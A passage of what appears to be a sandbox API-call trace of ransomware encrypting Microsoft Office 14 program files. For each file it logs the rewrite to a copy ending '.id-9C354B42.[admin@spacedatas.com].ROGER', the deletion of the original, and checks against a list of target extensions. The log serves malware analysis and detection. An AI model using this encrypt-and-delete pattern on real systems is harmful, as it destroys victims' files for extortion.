files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0063.019] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=15736) returned 1 [0063.019] CloseHandle (hObject=0x3ac) returned 1 [0063.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0063.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0063.020] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.020] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0063.020] GetLastError () returned 0x0 [0063.020] ReadFile (in: hFile=0x3ac, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x3d78, lpOverlapped=0x0) returned 1 [0063.022] WriteFile (in: hFile=0x350, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0063.023] ReadFile (in: hFile=0x3ac, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.023] WriteFile (in: hFile=0x350, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x104, lpOverlapped=0x0) returned 1 [0063.023] SetEndOfFile (hFile=0x350) returned 1 [0063.023] CloseHandle (hObject=0x350) returned 1 [0063.023] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.024] SetEndOfFile (hFile=0x3ac) returned 1 [0063.024] CloseHandle (hObject=0x3ac) returned 1 [0063.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.025] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig.companion.dll")) returned 1 [0063.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.025] lstrlenW (lpString=".doc") returned 4 [0063.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.025] lstrlenW (lpString=".docx") returned 5 [0063.025] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0063.025] lstrlenW (lpString=".pdf") returned 4 [0063.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.025] lstrlenW (lpString=".xls") returned 4 [0063.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.025] lstrlenW (lpString=".xlsx") returned 5 [0063.025] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0063.025] lstrlenW (lpString=".ppt") returned 4 [0063.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.025] lstrlenW (lpString=".zip") returned 4 [0063.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.025] lstrlenW (lpString=".rar") returned 4 [0063.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.025] lstrlenW (lpString=".bz2") returned 4 [0063.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.025] lstrlenW (lpString=".7z") returned 3 [0063.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.025] lstrlenW (lpString=".dbf") returned 4 [0063.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString=".1cd") returned 4 [0063.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString=".jpg") returned 4 [0063.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString=".doc") returned 4 [0063.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString=".docx") returned 5 [0063.026] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0063.026] lstrlenW (lpString=".pdf") returned 4 [0063.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString=".xls") returned 4 [0063.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString=".xlsx") returned 5 [0063.026] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0063.026] lstrlenW (lpString=".ppt") returned 4 [0063.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString=".zip") returned 4 [0063.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString=".rar") returned 4 [0063.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.026] lstrlenW (lpString=".bz2") returned 4 [0063.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.026] lstrlenW (lpString=".7z") returned 3 [0063.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString=".dbf") returned 4 [0063.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.026] lstrlenW (lpString=".1cd") returned 4 [0063.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104 [0063.027] lstrlenW (lpString=".jpg") returned 4 [0063.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.027] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0063.027] lstrlenW (lpString="Setup.exe") returned 9 [0063.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0063.028] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1377144) returned 1 [0063.028] CloseHandle (hObject=0x32c) returned 1 [0063.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 0x20 [0063.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0063.028] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.028] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0063.029] GetLastError () returned 0x0 [0063.029] ReadFile (in: hFile=0x32c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0063.052] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0063.445] ReadFile (in: hFile=0x32c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x50388, lpOverlapped=0x0) returned 1 [0063.458] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x50390, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x50390, lpOverlapped=0x0) returned 1 [0063.466] ReadFile (in: hFile=0x32c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.466] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.466] SetEndOfFile (hFile=0x3ac) returned 1 [0063.466] CloseHandle (hObject=0x3ac) returned 1 [0063.466] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.466] SetEndOfFile (hFile=0x32c) returned 1 [0063.469] CloseHandle (hObject=0x32c) returned 1 [0063.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\setup.exe")) returned 1 [0063.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.470] lstrlenW (lpString=".doc") returned 4 [0063.470] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0063.470] lstrlenW (lpString=".docx") returned 5 [0063.470] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0063.470] lstrlenW (lpString=".pdf") returned 4 [0063.470] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0063.470] lstrlenW (lpString=".xls") returned 4 [0063.470] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0063.470] lstrlenW (lpString=".xlsx") returned 5 [0063.470] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0063.470] lstrlenW (lpString=".ppt") returned 4 [0063.470] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0063.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.470] lstrlenW (lpString=".zip") returned 4 [0063.470] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0063.470] lstrlenW (lpString=".rar") returned 4 [0063.470] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0063.470] lstrlenW (lpString=".bz2") returned 4 [0063.470] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0063.471] lstrlenW (lpString=".7z") returned 3 [0063.471] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0063.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.471] lstrlenW (lpString=".dbf") returned 4 [0063.471] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0063.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.471] lstrlenW (lpString=".1cd") returned 4 [0063.471] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0063.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.471] lstrlenW (lpString=".jpg") returned 4 [0063.471] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0063.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.471] lstrlenW (lpString=".doc") returned 4 [0063.471] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0063.471] lstrlenW (lpString=".docx") returned 5 [0063.471] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0063.471] lstrlenW (lpString=".pdf") returned 4 [0063.471] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0063.471] lstrlenW (lpString=".xls") returned 4 [0063.471] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0063.471] lstrlenW (lpString=".xlsx") returned 5 [0063.471] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0063.471] lstrlenW (lpString=".ppt") returned 4 [0063.471] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0063.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.471] lstrlenW (lpString=".zip") returned 4 [0063.471] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0063.471] lstrlenW (lpString=".rar") returned 4 [0063.471] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0063.471] lstrlenW (lpString=".bz2") returned 4 [0063.471] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0063.471] lstrlenW (lpString=".7z") returned 3 [0063.471] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0063.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.472] lstrlenW (lpString=".dbf") returned 4 [0063.472] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0063.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.472] lstrlenW (lpString=".1cd") returned 4 [0063.472] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0063.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned 89 [0063.472] lstrlenW (lpString=".jpg") returned 4 [0063.472] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0063.472] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0063.472] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0063.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0063.473] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=19848) returned 1 [0063.473] CloseHandle (hObject=0x32c) returned 1 [0063.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0063.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0063.473] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.473] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0063.473] GetLastError () returned 0x0 [0063.474] ReadFile (in: hFile=0x32c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x4d88, lpOverlapped=0x0) returned 1 [0063.583] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x4d90, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x4d90, lpOverlapped=0x0) returned 1 [0063.584] ReadFile (in: hFile=0x32c, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0063.584] WriteFile (in: hFile=0x3ac, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.584] SetEndOfFile (hFile=0x3ac) returned 1 [0063.661] CloseHandle (hObject=0x3ac) returned 1 [0063.662] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.662] SetEndOfFile (hFile=0x32c) returned 1 [0063.663] CloseHandle (hObject=0x32c) returned 1 [0063.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0063.663] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 1 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.664] lstrlenW (lpString=".doc") returned 4 [0063.664] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString=".docx") returned 5 [0063.664] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0063.664] lstrlenW (lpString=".pdf") returned 4 [0063.664] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString=".xls") returned 4 [0063.664] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString=".xlsx") returned 5 [0063.664] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0063.664] lstrlenW (lpString=".ppt") returned 4 [0063.664] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.664] lstrlenW (lpString=".zip") returned 4 [0063.664] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString=".rar") returned 4 [0063.664] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString=".bz2") returned 4 [0063.664] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.664] lstrlenW (lpString=".7z") returned 3 [0063.664] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.664] lstrlenW (lpString=".dbf") returned 4 [0063.664] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.664] lstrlenW (lpString=".1cd") returned 4 [0063.664] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.664] lstrlenW (lpString=".jpg") returned 4 [0063.664] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0063.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.665] lstrlenW (lpString=".doc") returned 4 [0063.665] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0063.665] lstrlenW (lpString=".docx") returned 5 [0063.665] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0063.665] lstrlenW (lpString=".pdf") returned 4 [0063.665] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0063.665] lstrlenW (lpString=".xls") returned 4 [0063.665] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0063.665] lstrlenW (lpString=".xlsx") returned 5 [0063.665] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0063.665] lstrlenW (lpString=".ppt") returned 4 [0063.665] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0063.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.665] lstrlenW (lpString=".zip") returned 4 [0063.665] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0063.665] lstrlenW (lpString=".rar") returned 4 [0063.665] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0063.665] lstrlenW (lpString=".bz2") returned 4 [0063.665] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0063.665] lstrlenW (lpString=".7z") returned 3 [0063.665] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0063.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0063.665] lstrlenW (lpString=".dbf") returned 4 [0063.665] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0063.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 